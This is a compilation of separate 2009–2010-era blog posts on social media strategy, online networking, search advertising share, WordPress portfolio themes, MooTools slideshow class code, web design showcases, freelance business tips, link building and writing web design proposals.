Social media has a loyal tribe of disciples. We follow each other on Twitter, connect on Facebook, read each other’s blogs and listen to each other at conferences. We provide each other moral support and though we are a minority, we have religion and we are here to change the world (I’m not joking).

Most importantly, we share stories. These stories are all about finding common ground and building a defensible position on the what/why/how of our new orthodoxy; what is “social”, why you need it, how it actually works and how you measure it.

In this giant food-mill of collective meaning making we are defining the significance of new terms and putting our arguments to the test. Like any self-interested group however, we easily slip into dogmas that serve our purposes but may not serve our clients. Lately I have become increasingly aware of the oversimplified answers that social media consultants apply, often regardless of business context.

So let me be the first to tell you: Social media may not be for you — yet.

Are You Willing to Act? Can You?

One of the most common issues big organizations have with social media is a reasonable fear that customers will air their grievances on a company-sponsored platform such as a blog, Twitter or Facebook page. The nearly universal response to this fear, one that has been hammered home at every conference, and in every blog post is, “your customers are already saying these things about you. Wouldn’t you rather have them talking on your site?” This response rings true because, by and large your customers are online –- and they do have the means to talk about you. If you are a sizable company and you look around it is very likely that someone, somewhere has said some pretty shocking things about you. Sometimes they even work for you.

The hackneyed “you better join the conversation” is often an appropriate response. But it isn’t always the appropriate response.

First, there is a difference between isolated criticism that a company may receive here and there on the Social Web from people of varying influence and veracity, and painting a target on your back by hosting that conversation.

Second, and more importantly, when an organization makes an investment in social media it is a constructive opportunity to consider not only what could go wrong, but why it could go wrong. In other words, what are the valid criticisms that customers and employees might have and what you are willing to do about it. If you aren’t willing to consider the former and have no power concerning the latter, social media might not be your best bet.

Be Prepared to Change

All too often the person making the social media investment has a narrow mandate — quarterly growth — that exists within a parochial frame of reference (“it’s still marketing, isn’t it?”). All too often the company has not thought through (or perhaps willfully ignored) what its response to criticism will be.

So it might not be the best idea to “join the conversation” if you just want to make your quarterly numbers. Don’t create a Facebook Fan Page if your product is a letdown. Don’t use Twitter if your intern will be running the campaign. Above all, don’t engage in social media if you aren’t prepared to change in the bargain.

Ultimately if your company is willing to take the feedback and turn it into action, then social media is a competitive game changer. Connecting with customers, partners and employees can drive innovation, decrease cycle time, improve customer service and so on. This usually involves bringing various internal constituents to the table; marketing, customer service, product development, legal etc. But social media isn’t for every company or every situation. It has a transformative power but, like fire, not everyone is ready to wield it without getting burned.

More business resources from Mashable:

---

- HOW TO: Implement a Social Media Business Strategy
– The 10 Stages of Social Media Business Integration
– 18 Online Productivity Tools for Your Business
– HOW TO: Choose a News Reader for Keeping Tabs on Your Industry
– HOW TO: Use a Start Page to Stay Organized
– 5 Tips for Creating a Successful Social Media Contest
– HOW TO: Measure Social Media ROI
– HOW TO: Use Social Media to Connect with Other Entrepreneurs

Images courtesy of iStockphoto, timsa, lisegagne, topshotUK

Tags: business, List, Lists, small business, social media, social networks, strategy

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Soren Gordhamer is the organizer of the Wisdom 2.0 Conference, which brings together staff from Google, Facebook, and Twitter with others to explore living wisely in our modern age. Mashable readers can use code ‘Mashable‘ for a discount when registering.

Social media allows us to discover, connect, and engage with new people of interest. While most people are open to new connections and receiving messages from people they don’t know, there is a fine line between reaching out and “spamming.” The challenge is to make a connection clearly and effectively without wasting people’s time.

Many of us are on both sides of this relationship — sometimes making the connection, sometimes receiving the invitation. To help navigate these waters a little better, I’ve outlined seven key lessons for improving your social networking skills.

1. Find a Person’s Preferred Communication Channel

---

If you want to contact someone you have never communicated with before, do some research. Find the person’s preferred communication channel. If they have a website, check out their contact page and see if they encourage people to contact them in a particular way, and follow their suggestion.

It also helps to discover what level of participation they have on various social networks (Twitter, Facebook, YouTube) to see which places may be best to engage them. When is the last time they posted on Twitter or Facebook? Do they respond to the @replies they receive on Twitter or comments on a Facebook page? Get a sense of their preferred means of communication, and make contact where they are.

Lesson: Go where they are.

2. Say Just Enough

---

This cannot be emphasized enough, and it is probably my toughest challenge. In the age of social media, we may be able to get the attention of more people, but we get it for a much shorter amount of time. One of the biggest mistakes I see people make, is that they send long e-mails or social media messages explaining all the reasons they want to connect. You are likely have not earned not earned the five minutes of the recipient’s time that it will take to read that message.

Brevity is built right into Twitter, making it a great platform for making a first connection. However, if you use other channels, keep it simple. If there are 700 words you eventually want to get across, include only 50 in the first contact. Let the person choose if he or she would like more. You can fill in the rest later. I prefer a less complete 50 words than 700 words that tell me more than I need to know.

Lesson: Less is more.

3. Don’t Expect a Response

---

I often see e-mails with phrases like “Please respond,” or “please get back to me.” Unless it is an old friend or a colleague, if you are contacting someone new, you are not entitled to a response. If the person wants to get back to you, he or she will. It is much better to say “If this is not of interest, feel no need to get back to me.”

At times I hear people complain because they reached out to someone and never heard back. The fact is most people do not have the time to get back to everyone who contacts them to say, “not interested.” Open a door without adding pressure. There may be times to follow-up, of course, but don’t do so with resentment or frustration.

Lesson: Say what you need to and then let it go.

4. Clarify Early

---

This may seem like common sense, but don’t wait for the last line of your message to say that you want to meet for lunch, or ask your contact if he’d like to speak at an event. Put it right up front. If he cannot provide what you’re looking for, he’ll know sooner rather than later, and will appreciate you for it.

Lesson: Say it up front.

5. What You Want is Not the Point

---

You may think that what you want is a phone call or lunch meeting to discuss your big idea. But communication is more than any one project or meeting. What you really want is an authentic connection.

In a very real way, it doesn’t necessarily matter if the person is interested in discussing your project idea. What matters is whether you are making a connection.

If you focus on the relationship more than the specific request, and the person has a pleasant experience reading your opening communication, it is likely the door will remain open for possible collaboration in the future, and the next e-mail you send will more likely be fruitful.

Lesson: No one knows what the future may hold, so make the moment count. Ensure the door stays open, even if no one is walking through it right now.

6. Be Open Without Needing

---

Needy never goes over well. Statements like “I really need to talk to you,” or “it is essential that we speak,” show your general insecurity. There is a huge difference between being open to collaboration and “needing” it.

Do not make contact until you find that place in yourself that is totally comfortable with any outcome, including a strong “no” or no response at all. Only then can you make authentic contact. When you do, openness rather than need will come through in your words.

Lesson: Speak from openness rather than need.

7. Give Space

---

The key questions people have when someone new reaches out to them, particularly those who are quite busy, are “Do I have time to bring this person into my network? How much time will they take?”

Therefore, it is generally not helpful to send too many e-mails. Doing this may send the signal that you are going to take a lot of the recipient’s time and send numerous e-mails every day, and communicating with you will take great effort.

Instead, give communication some space. Unless something is very timely, let a bit of time pass before sending a response. Let communication have some breathing room. Once there is some level of trust, you can experiment with more immediate information exchange.

Lesson: Focus on thoughtful instead of continual contact.

Do you have any other tips for better networking using social media? Do you agree or disagree with any of these tips? Let us know in the comments.

More social media resources from Mashable:

---

- Zen and the Art of Twitter: 4 Tips for Productive Tweeting
– The Tao of Tweeting
– How Social Media Has Changed Us
– 3 Ways Educators Are Embracing Social Technology
– 5 Tips for Building Lasting Online Friendships
– 4 Steps for Effective Online Networking

Images courtesy of iStockphoto, iqoncept, PaulPaladin, chromatika, stuartbur

Tags: business, facebook, List, Lists, networking, small business, social media, social networking, social networks, twitter

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To give credit where it’s due: Nathania Johnson is the one who got an early look at Efficient Frontier’s report (which is supposed to be released tomorrow).  It’s thanks to her, then, that we know Google’s market share in terms of search advertising spending fell 1.0 percent on a year-over-year basis to 74.5 percent.

Meanwhile, Yahoo’s share stayed steady (at 20.4 percent), and Bing’s increased by 1.0 percent (to 5.1 percent).

From Microsoft’s perspective, that represents a move in the right direction, at least.  And it’s interesting, too, that Bing managed to draw revenue away from Google instead of its partner-to-be in Sunnyvale.

As for the future, Johnson wrote, "Bing is expected to grow 30% in 2010, giving them a 6-7% share of paid clicks."  The outlook for the whole industry seems fairly bright, too, given that she stated, "SEM spend will grow 15-20% in 2010."

Related Articles:

> Bing Gets New Health Search Features

> Bing Gets A Bunch Of New Search Features

> Link Building For Bing Rankings: Dos And Don’ts

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I’ve just released my third NetTuts post:  http://net.tutsplus.com/tutorials/javascript-ajax/sexy-animated-tabs-using-mootools/ .  From the post:

One modern, attractive way of placing a lot of content into a little space is by using a tab system. This tutorial will show you how to create a sexy, animated tab system complete with CSS sprites, cookies, and animated tab swapping.

Go over to NetTuts and check it out!

Don’t forget to follow me on Twitter and be sure to visit Script & Style for the best Javascript and CSS articles around!

Sponsor the David Walsh Blog and get your brand in front of several thousand users per day!

NetTuts: Sexy Animated Tabs Using MooTools

Related posts:

1. David Walsh on NetTuts: Create a Twitter-Like “Load More” Widget
2. NetTuts Exclusive: Twitter Emulation Using MooTools 1.2 and PHP
3. Animated Progress Bars Using MooTools: dwProgressBar
4. Eight7Teen Interview
5. Sexy Opacity Animation with MooTools or jQuery

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It was commercial theme I tested, but since most of people look just for free stuff, I gave it a try and searched for free Portfolio, photo gallery type themes. Maybe results aren’t too bright, but those themes are completely free for using. Don’t worry, if you are searching for more quality and wider sortiment, I will follow up with Commercial Portfolio and Photo Gallery WordPress Theme article in next few days!

1. ViewPort

Viewport, a free WordPress theme created by Paul Bennett is focused around a clean and simple, content based layout. The aim is to grab the user’s attention and draw them straight into the content.

View Demo

2. WordPress The Unstandard

View Demo

3. Gallery 1.2

Gallery is a beautiful, free, gallery-style Thematic child theme for WordPress, designed by Christopher Wallace especially for Smashing Magazine and its readers. It is extremely flexible and can be used as a starting point for design galleries and portfolios.

View Demo

4. wpFolio – Free CMS / Portfolio WordPress Theme

View Demo

5. Blue Bubble

View Demo

6. Creative by Nature

View Demo

7. Linquist

View Demo

8. Work-a-holic

Work-a-holic is a free minimalistic two and three column WordPress theme that focuses mainly on showcasing portfolios for artists, web designers, photographers and illustrators. Work-a-holic separates your portfolio from your blog, enabling easy navigation for clients in a clean, intuitive fashion. It also has a separate sidebar for portfolio (shows recent projects) and a separate widgetized sidebar for the blog and pages.

9. Fotofolio WordPress Theme

View Demo

10. Portfolio WordPress Theme

“Portfolio WordPress Theme” is a wordpress theme designed for web portfolios and (for now) just for web portfolios. It is coming with an Administrative Panel from where you can edit the head quote text, you can edit all theme colors, font families, font sizes and you can fill a curriculum vitae and display it into a special page.

View Demo

11. Irresistable

Use as a standard blog or use the customized homepage layout, as shown in our demo, that you can activate via our options panel

View Demo

12. Sharpfolio: WordPress Portfolio Theme

Sharpfolio is a WordPress theme designed to enable Web Designers, Graphic Designers, Photographers, Motion Designers, Artists or any creative professional to showcase their work in a simple, clean, beautiful portfolio. Sharpfolio aims to focus primarily on your work, because after all, this is what’s most important.

View Demo

13. Portfolio Press

This is a dark-colored theme suitable for anyone who wants to create a quick portfolio or wants to showcase his work through WordPress. The theme is fully CSS/XHTML validated, WordPress 2.6+ ready and comes with easy to modify code.

View Demo

14. Desk Space

View Demo

15. Snapshot

View Demo

16. WP Coda

View Demo

17. Infinity

View Demo

18. AutoFocus

AutoFocus is a WordPress theme specifically for photographers looking for a simple and elegant way to display their work online.

View Demo

19. FotoLog

View Demo

20. Free Photo Gallery

View Demo

21. Grace Photoblog

View Demo

22. Vivee WordPress Theme

View Demo

23. Nishita – Free Photo Blog WordPress Theme

View Demo

24. Fhi-Zin

View Demo

Related posts:

1. 43 Minimal And Really Clean Free WordPress Themes
2. 21 Sites Where To Find Free WordPress Themes Daily
3. 30 Quality Sites To Easily Preview And Download Free WordPress Themes
4. 100 Premium Like But Free, Fresh WordPress Themes: Year 2009
5. 70 Free and Premium WordPress Themes

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Code “Inline” First, Then Class-ize; Don’t Force It

The number one tip I give to MooTools Class rookies is this: create the desired class functionality before turning it into a class. Once you have the code working using “inline” MooTools javascript, evaluate what you have. You may decide that your functionality is too specific to the task at hand that making a Class isn’t the right choice.

If you do think you should turn the code into a class, take a look at all of your initial “var {key} = {value}” declarations — those will likely be your arguments and options. Take any repeated code and turn them into class methods. Do the same for specific functionalities the Class should have. Here’s a very basic example:

window.addEvent('domready',function() {
	/* settings */
	var showDuration = 3000;
	var container = $('slideshow-container');
	var images = container.getElements('img');
	var currentIndex = 0;
	var interval;
	var toc = [];
	var tocWidth = 20;
	var tocActive = 'toc-active';

	/* new: starts the show */
	var start = function() { interval = show.periodical(showDuration); };
	var stop = function() { $clear(interval); };
	/* worker */
	var show = function(to) {
		images[currentIndex].fade('out');
		toc[currentIndex].removeClass(tocActive);
		images[currentIndex = ($defined(to) ? to : (currentIndex < images.length - 1 ? currentIndex+1 : 0))].fade('in');
		toc[currentIndex].addClass(tocActive);
	};

	/* new: control: table of contents */
	images.each(function(img,i){
		toc.push(new Element('a',{
			text: i+1,
			href: '#',
			'class': 'toc' + (i == 0 ? ' ' + tocActive : ''),
			events: {
				click: function(e) {
					if(e) e.stop();
					stop();
					show(i);
				}
			},
			styles: {
				left: ((i + 1) * (tocWidth + 10))
			}
		}).inject(container));
		if(i > 0) { img.set('opacity',0); }
	});

	/* new: control: next and previous */
	var next = new Element('a',{
		href: '#',
		id: 'next',
		text: '>>',
		events: {
			click: function(e) {
				if(e) e.stop();
				stop(); show();
			}
		}
	}).inject(container);
	var previous = new Element('a',{
		href: '#',
		id: 'previous',
		text: '<<',
		events: {
			click: function(e) {
				if(e) e.stop();
				stop(); show(currentIndex != 0 ? currentIndex -1 : images.length-1);
			}
		}
	}).inject(container);

	/* new: control: start/stop on mouseover/mouseout */
	container.addEvents({
		mouseenter: function() { stop(); },
		mouseleave: function() { start(); }
	});

	/* start once the page is finished loading */
	window.addEvent('load',function(){
		start();
	});
});

And now the Class version:

var SimpleSlideshow = new Class({
	options: {
		showControls: true,
		showDuration: 3000,
		showTOC: true,
		tocWidth: 20,
		tocClass: 'toc',
		tocActiveClass: 'toc-active'
	},
	Implements: [Options,Events],
	initialize: function(container,elements,options) {
		//settings
		this.container = $(container);
		this.elements = $$(elements);
		this.currentIndex = 0;
		this.interval = '';
		if(this.options.showTOC) this.toc = [];

		//assign
		this.elements.each(function(el,i){
			if(this.options.showTOC) {
				this.toc.push(new Element('a',{
					text: i+1,
					href: '#',
					'class': this.options.tocClass + '' + (i == 0 ? ' ' + this.options.tocActiveClass : ''),
					events: {
						click: function(e) {
							if(e) e.stop();
							this.stop();
							this.show(i);
						}.bind(this)
					},
					styles: {
						left: ((i + 1) * (this.options.tocWidth + 10))
					}
				}).inject(this.container));
			}
			if(i > 0) el.set('opacity',0);
		},this);

		//next,previous links
		if(this.options.showControls) {
			this.createControls();

		}
		//events
		this.container.addEvents({
			mouseenter: function() { this.stop(); }.bind(this),
			mouseleave: function() { this.start(); }.bind(this)
		});

	},
	show: function(to) {
		this.elements[this.currentIndex].fade('out');
		if(this.options.showTOC) this.toc[this.currentIndex].removeClass(this.options.tocActiveClass);
		this.elements[this.currentIndex = ($defined(to) ? to : (this.currentIndex < this.elements.length - 1 ? this.currentIndex+1 : 0))].fade('in');
		if(this.options.showTOC) this.toc[this.currentIndex].addClass(this.options.tocActiveClass);
	},
	start: function() {
		this.interval = this.show.bind(this).periodical(this.options.showDuration);
	},
	stop: function() {
		$clear(this.interval);
	},
	//"private"
	createControls: function() {
		var next = new Element('a',{
			href: '#',
			id: 'next',
			text: '>>',
			events: {
				click: function(e) {
					if(e) e.stop();
					this.stop();
					this.show();
				}.bind(this)
			}
		}).inject(this.container);
		var previous = new Element('a',{
			href: '#',
			id: 'previous',
			text: '<<',
			events: {
				click: function(e) {
					if(e) e.stop();
					this.stop();
					this.show(this.currentIndex != 0 ? this.currentIndex -1 : this.elements.length-1);
				}.bind(this)
			}
		}).inject(this.container);
	}
});

See how easy the transition is when you have the inline code in front of you? Simple!

Add Events When Possible

Adding events to your classes gives a completely new level of control over the class functionality. Consider my Overlay class. I spent 95% of the time creating the plugin functionality and 5% implementing events but I consider events essential to the Overlay. Here’s a quick example of implementing events:

//.....
Implements: [Options,Events],
open: function() {
	this.fireEvent('open');
	//do stuff
},
//.....

Now my Overlay class allows you fire events at 4 different times. More flexible and a perfect usage of events.

Evaluate Options vs. Arguments

Judge your list of options and your class’ primary responsibilities to determine if all of the options should be kept as options and not as arguments, and visa versa. When I come to a 50/50 decision I choose to make the parameter an option. If the class cannot live without the given option/argument and there’s no suitable default, keep it as an argument.

Chaining: return this;

One of the great advantages of using a javascript frameworks and classes is the ability to chain method class to make your code shorter. And implementing that type of functionality is so easy!

//.....
store: function(key,value) {
	this.data[key] = value;
	return this;
}
//.....

Don’t let your methods end with nothing — return this!

Put it in the Forge!

Share your awesome plugin by posting it in the MooTools Forge. Sharing your plugins in the Forge allows you to easily get feedback, improvements, and requests.

There you have it. Feel free to share any of your tips!

Don’t forget to follow me on Twitter and be sure to visit Script & Style for the best Javascript and CSS articles around!

Sponsor the David Walsh Blog and get your brand in front of several thousand users per day!

MooTools Class Creation Tips II

Related posts:

1. MooTools Class Creation Tips
2. Create a Simple Slideshow Using MooTools, Part III: Creating a Class
3. MooTools-Like Element Creation in jQuery
4. Check for Function and Class Existence Using PHP
5. MooTools 1.2 Tooltips: Customize Your Tips

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As you will see in the following showcase, the most common section where textures are used is the background image. The goal is to make clear and immediate the contents and to higlight the typography creating a good contrast between textured backgrounds and texts. The results are absolutely stunning, and it’s fantastic to see as a soft texture can create a beautiful effect.

Creative and Effective Use of Textures in Web Design

Below you can see 37 examples of creative and well-designed websites that could inspire you. Enjoy!

Cooper Graphic Design

OneTwentySeven

Bahur78

Becoming Human

Urban Roots

MoNkEyNuTs

JasonGrayMusic.com

Coopers Kids

The Crazy Love Campaign

Mutt Ink

Luthier Services

Daniel Marino

Epic Event

Make Film Work

Hull Digital Live 09

Mazza Móveis

Mike Matas Blog

Levi Lodge

Odosketch

Deren Keskin

Thibault Jorge

Pepper and Koffee

BR Origin

Portfolio of Jasmin Halkić

Riot Industries

Joolz

Billy Tamplin

Corking Design

Giraffe Restaurants

Versions

Baney Design

Christina Lauer

The Caddis Fly Angling Shop

Information Highwayman

Irvine Acosta

Pat Dryburgh

Kamal Chaneman

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1. Be a Jack of all trades

It seems the conventional wisdom lies in how much you know rather than how well you know it. I see people who have skill sets that take up a lot of space on a resume. Admirable? I suppose so. Does it make you more valuable to a potential client? Absolutely not.

Think about it: has a client ever hired you just because you knew 8 programming languages and 10 web development frameworks? They hired you to work on a specific project that requires a specific skill set, and chances are you have represented yourself as an expert that is the best fit for that project.

If you can’t settle on a particular tool set, you won’t be able to gain that competitive edge we all desperately need to be successful. I know it sounds counterintuitive, but if you really think about it, no successful development company becomes so merely based on the size of their tool set. They become experts in a particular skill set, and they have value because they leverage their knowledge and find their competitive edge in that context. You can specialize in so many things; find a niche that works for you, and focus on that.

2. Take on every project that comes along

Getting work is great, isn’t it? As young, nubile professionals, there is a tendency to covet every job we get; billable time is billable time, right?

Inevitably, though, what happens as the workload increases? We gravitate towards certain types of clients that fit our skill set better, or people that we can tell understand our role as the experts versus "order-takers".

The point is this that you should be selective of who you work with. Don’t think of it as losing revenue as much as adding value for those you do choose to work with. Spread too thin, you lose the ability to be responsive to your client base; those people who are already sold on what you do, how you do it, and are willing to compensate you for the value you offer them.

3. Don’t have a business strategy

If business is good for you right now, then I would like to congratulate you on that. Often when business is good, it is easy to forge ahead and spend 8 hours in a day on billable work. You owe every moment in the office–and many of your moments out of it–to your clients first and foremost, right? It sounds harmless, but think of it like this: if you never sharpen your machete, how will you be able to cut a path through the forest?

It’s simply too easy to lose your competitive edge without knowing it, and then realizing as your clients move on one by one that the money didn’t come from manual labor, it came from your ability to continually improve upon the solutions you gave them in the first place, which in turn improves their ability to make money through the web channel.

On top of that, these are the people that are easiest to sell to. In sales, it’s called the low-hanging fruit.

4. Neglect your existing clients

Once you land a client and finish a project, be sure to put them on a nice ride that circles the park and walk away. They are happy and therefore they need nothing else from you. Time to hurry up and wait for the next word-of-mouth customer, right? Sounds like a safe plan. Occasionally you might need to call or email and see if they are doing okay, but that’s about it.

Now back to reality. When was the last time you reviewed your current client base looking at ways to improve upon their existing solution? Or talk to them for ten minutes and find out how things are going? If you are doing this, great, but all too often clients are left to grow old and hairy and slowly fade into the sunset.

Now imagine that there is a potential dollar figure that floats above each client and this represents lost potential revenue. You just can’t ignore your clients for long after that first project is completed. If they are happy with you, the first thing you have to do is think of another way to make them happy. You may want to give them some time to settle into their new digs, but at that point, you have a customer who understands the value you add to their company and will listen willingly to you for the next recommendation you can make to help increase their bottom lines. It really doesn’t get any easier than that to generate additional income.

It is good to talk to existing clients at least seasonally, but ideally to check in once per month and call it a value-added service because that is how attentive you are (to the money they are holding in their hand and ready to give to you for more awesomeness). Sounds exciting to me!

5. Don’t invest your revenue into your growth

Take the revenue, put it in the bank, and retire it from the business. "It’s been great working with you, but you can relax now and pursue whatever it is you like to pursue – maybe vacation in someone’s mortgage somewhere or take a ride in a 401K. Have fun".

Doesn’t that sound crazy? As crazy as that might sound, if you aren’t investing some portion back into growing your business (provided that is one of your directives), that is essentially what you are doing! You are sending perfectly good capital on a permanent vacation, perhaps eventually to be traded for a lifetime supply of unicorn glitter or a data plan for your cell phone.

It’s easy to be shy about using some of the capital you may have saved up to take a calculated risk on your business future, but then again, you took a risk going into business in the first place, didn’t you?

One entrepreneur thinks of his dollars as soldiers: they go out and they come back every day with hostages – more dollars. You can guarantee those dollars went out with a mission in mind though, not to wander aimlessly around waiting to be snatched up by someone else.

Related Content

• How to Design for Your Worst Client: You.
• A Simple Guide on How to Effectively Talk to Clients
• How to Get Your Ideas Across to Clients
• Related categories: Project Management and Web Development

About the Author

Fred Bliss is a slightly over-seasoned bleeding edge web-evangelist. He is a married father of 3 boys. He has been working for the past year on Isotope eCommerce (a hybrid solution built in with TYPOlight CMS/ Framework) as lead developer, and one third of Winans Creative.  Connect with him via Twitter: @fbliss and LinkedIn.

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The most powerful and credible links on the Internet are placed by individuals who have influence over your online target audience. Often, these are bloggers, editors, industry experts – those with numerous social media followers. Wouldn’t it be good to have an industry influencer who likes you and promotes your stuff by mentioning your business to his or her vast audience? In many cases, that’s the magic touch a business needs to step up to the next level.

Social media sites can be a great source for identifying these key individuals. They act as a virtual trade show, streamlining your ability to “meet” and build a relationship, and win them over to actually promote your ideas to their audience(s). If you’re in the sports industry, it’s kind of like having Michael Phelps or Tiger Woods (ahem) say good things about you. When this happens, you will have many new relationships, followers and links to your site.

Here are some of the keys to building relationships with influencers online.

1. Know what the influencer likes or wants before you introduce yourself. The fastest way to get ignored by the influencer is to try to sell them your idea before they even know who you are. (Think spam filters). Instead, get involved in the group and listen to what’s being said. If it’s appropriate, provide interesting, thought-provoking comments or responses. Some influencers aren’t a bit shy and will tell you flat-out what they are looking for. If you possess what the influencer is looking for, it’s time to make your introduction.
2. Introduce yourself by letting them know that you have something they might want and then give some details in a respectful way. Remember: you want to pique their interest, not bury them in details. If they’re interested, you’ll know it soon enough.
3. Wait for their response. If they don’t respond in a reasonable timeframe, find another way to introduce yourself: phone calls often work, but it’s best to speak face-to-face.
4. At this point, it’s assumed that you really do have what they want and that the influencer will act on it immediately. Otherwise, it’s back to step one again; in some cases, it’s over for your shot with that influencer.

In my industry of SEO professionals, getting in front of an influencer can be very tough, but I’ve done it several times by writing articles that deal with issues few others write about. In particular, I try to write articles that editors of well-known blogs will want to publish.

I recently contacted the editor of a popular blog because I learned that he was interested in good SEO articles. I provided a sample of my writing; he liked it and gave me access to his blog to post my next article.

A few weeks later when I posted my article in the drafts section, the editor liked it so much he asked if he could publish it in another blog he edited that was much more popular than the one I had already been approved for.

One thing that helped to get my article accepted involved closely reading and following all of the guidelines for guest blog posting. Don’t make an editor postpone your article because it didn’t meet one of the guidelines. I also used a professional copywriter to tweak the article after it was written. A professional can give your article that extra polish it needs to stand out – and get you noticed.

Within a few days of my article going live, my post was tweeted 15 times – by the editor as well as several other industry influencers – and I got some encouraging feedback in the comments section.

What about links? Not only did this blog post link to my site, but the post itself is linked from a few places, adding even more power to the links in the post.

For those of you who like to keep track, that initial successful relationship with an industry influencing blog editor yielded:

• My name and business on 2 blogs aimed at my target audience
• 15 tweets, and re-tweets from additional industry influencers
• Several high-quality links to my website
• Instant credibility within my industry (now I can boast a bit, “see my article on this respected industry blog”)
• A new relationship with an industry influencer (to get more quality links to my site)
• A foundation for building more relationships with influencers in my industry

Sure, it takes some work to figure out who’s who in your field, then to spend time with them socially, learning what they like (and want). But it can pay large dividends for your credibility and business.

Tom Shivers is an SEO consultant and president of Capture Commerce, Inc. – a professional SEO company focused on tailored Internet marketing since 2000.

Post from: SiteProNews: Webmaster News & Resources

How to Get in with Social Influencers to Build Links

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For one reason or another, almost all designers using Stock Images in their designs. Stock Images/Photography consists of existing Images/photographs that can be licensed for specific uses. Publishers, advertising agencies, graphic artists, and others use stock photography to fulfill the needs of their creative assignments.

There are a number of Royalty free Stock Images sources available on the web waiting to be paid for. Some of them are worth it, some are not. If you tired of spending money on High-Quality Images then we have something good for you by which you can save your money and increase your productivity.

Below, you’ll find Best Reliable Sources to Get Commercial and Free Micro Stock Images and Photographs over web. However, just make sure to read the license agreements carefully as they can change from time to time.

Buying the high-resolution image (purchasing the license) does not transfer the copyright. You may not claim that the image is your own and you may not sell, license for use, or in any way distribute the image for reuse. We recommend that you credit the agency and the photographer when you use an image. By this you benefit the community, of which you are an integral part, and help increase your success as part of the community, which, by growing contributions, gains quantity and quality.

You may be interested in the following related articles as well.

• 40+ Sources To Download High-Quality Royalty Free Stock Images
• 25+ Reliable Sources to Get Commercial WordPress Themes
• 20+ Reliable Sources to Get Commercial Joomla Templates
• 50+ Sources To Download High-Quality Free Vector Stuff

Please feel free to join us and you are always welcome to share your thoughts even if you have more reference links that our readers may like.

Don’t forget to subscribe to our RSS-feed and follow us on Twitter — for recent updates.

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As you already seen in our previous posts about Single Page Website Designs that showcase your work in single page design is a hot trend now days. It’s kind of ironic to see what designers can do with single pages as modern age designers love to experiment with things and observe how people interact with their work. Even though this is not a common trend to follow but still as the new design styles come up, and as more and more designers notice them and make use of them in their work, this kind of trends emerge.

In this presentation, you’ll find a variety of highly-creative, beautiful and most importantly inspirational designs which is following the same trend of single page designs. The main purpose here is to stimulate your creativity and to inspire your imagination to create your own design trend because your website represents you and your brand.

You may be interested in the following modern trends related articles as well.

• Single Page Website Designs For Design Inspiration – Part I, Part II
• 55 Excellent WordPress Site Design for Design Inspiration
• 99 Creative And Beautiful Looking Portfolio Designs
• 60+ Amazing Examples Of Illustrative Web Designs
• 50+ Beautiful Website Designs Using Office Stationery
• Grid Style In Modern Web Design: Showcase and Resources

Please feel free to join us and you are always welcome to share your thoughts even if you have more reference links related to other trends that our readers may like.

Don’t forget to subscribe to our RSS-feed and follow us on Twitter — for recent updates.

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Lets face it there is no enjoyment in writing a proposals. You became a web designer to build web sites, no one thought to mention anything about the processes you would have to follow to find new contracts and clients. Unfortunately, web design proposals are one of those essential processes you have to learn, and learn well.

The biggest question I have asked myself in the past is – "Are they really worth all this hassle?" The answer sadly is YES, they are.

A client contacts you regarding a new web site, you will discuss it first, you will then ask him to fill out a project questionnaire, and then they they will no doubt ask “How much will that cost?”. You will have to explain to them that you will have to analyze the details of the project and that you will be in touch in a few days with the report.
Now, it is those details that clients like. It is those details that will decide whether you get the contract or not. Not only will you have to convey, within the proposal, a comprehensive account of the processes involved in developing the project, you will also have to convince them that you know exactly what you are doing and that you are the best person for the job. It has to build your clients confidence from the start and allow them to trust your expertise.

In this post you will find resources to help you write a successful web design proposal, that will help you to win contracts every time…. or at least most of the time!

What are your thoughts on web design proposals? What tips do you have? Please leave a comment and share your experiences.

Writing a Website Design Proposal

A website design proposal is a fancy way of saying quote. Often a potential client will come to you asking, “What will this kind of site cost me?” You should do some research, using a client questionnaire before giving the client a quote and submitting your proposal.
Website design proposals can take all forms – there’s no set way to create one. There will be some things you’ll see in all design proposals they are a must, and the author lists the most common, and adds a fair few insightful new sections.

Writing a Website Design Proposal »

Tutorial – How to Write a Basic Web Development Proposal

Knowing and understanding what exactly you should include in a proposal is the first step to convincing clients and winning contracts.
A professionally presented and well written development proposal more often than not decides whether you will win or lose the project. The proposal can also decreases the incidences of misunderstandings between yourself and your clients when the project is under way and acts as a basis for a formal contract.
Read this article for an in-depth analysis of what should and is expected from a web design proposal.

Tutorial – How to Write a Basic Web Development Proposal »

7 Tips For Writing A Winning Web Design Proposal

If you’re soliciting web design work in traditional ways, a major step in winning jobs is the proposal phase. There are certain things you can do to put yourself, your capabilities and your company in the best possible light, whether you’re outlining what you have to offer in an e-mail message, or submitting a complete proposal.
What would you put in a proposal?
In this article they outline in detail seven very useful tips for designers of any level and background and help you improve your proposal process.

7 Tips For Writing A Winning Web Design Proposal »

How to Write a Web Design Proposal – Anatomy of a Persuasive Proposal

If you plan on paying the bills, you can’t avoid the painful activity that is web design proposal writing. What you need to do is become more efficient and better at writing them. Outsource what you can and hack the rest!
Before you can quickly and efficiently write amazing proposals, you’ll need some basic background on what a persuasive proposal is made of. A proposal has to be persuasive, it must convince the reader that you are the absolutely best person for the job.

How to Write a Web Design Proposal – Anatomy of a Persuasive Proposal »

Five Steps to Writing Proposals That Sell [Find Clients]

In today’s market, if you can’t write good proposals, you won’t be able to sell. Its a simple fact.
Let’s face it: we’re in a buyer’s market when it comes to freelance services. For every job you bid on, you’re competing with five, ten, or even more other freelancers.
When you’re stuck in a crowd like that, you’ve got to find a way to set yourself apart, or face 20:1 (or even longer!) odds on winning that contract. How do you do that? How can you beat the odds?
Even if you have a prior relationship, a good proposal helps reinforce your ability to deliver. And if you’re part of a cattle-call, a good proposal can push you to the top of the stack.
If the thought of writing fills you with trepidation, this article covers in five simple steps you can follow to write proposals that sell. The steps they cover are:
1. Steal a proposal that works
2. Understand (and flatter) your target
3. First the end, then the means
4. Use simple words
5. The price is right (and this is a buyer's market)

Five Steps to Writing Proposals That Sell [Find Clients] »

Writing A Project Proposal – Don't Give Up!

Having 100% of project proposals accepted usually means that a freelance developer has had very few clients. Low percentage rates usually mean that proposals are being sent to people who didn’t ask or the proposal writer simply needs a few good “getting warmer’s” in the right direction.
The tried and tested tips, in this article, are to encourage the 100%ers to write more proposals and the low raters to take heart and give it another try.

Writing A Project Proposal – Don't Give Up!

The Secret to Landing Clients Nearly 100% of the Time

Turning a prospect into a client is a process-based on a system. Identifying deliverables and executing campaigns for a client is a series of tasks based on a system.
Create the right system and you can almost flawlessly guarantee success and satisfaction every time.
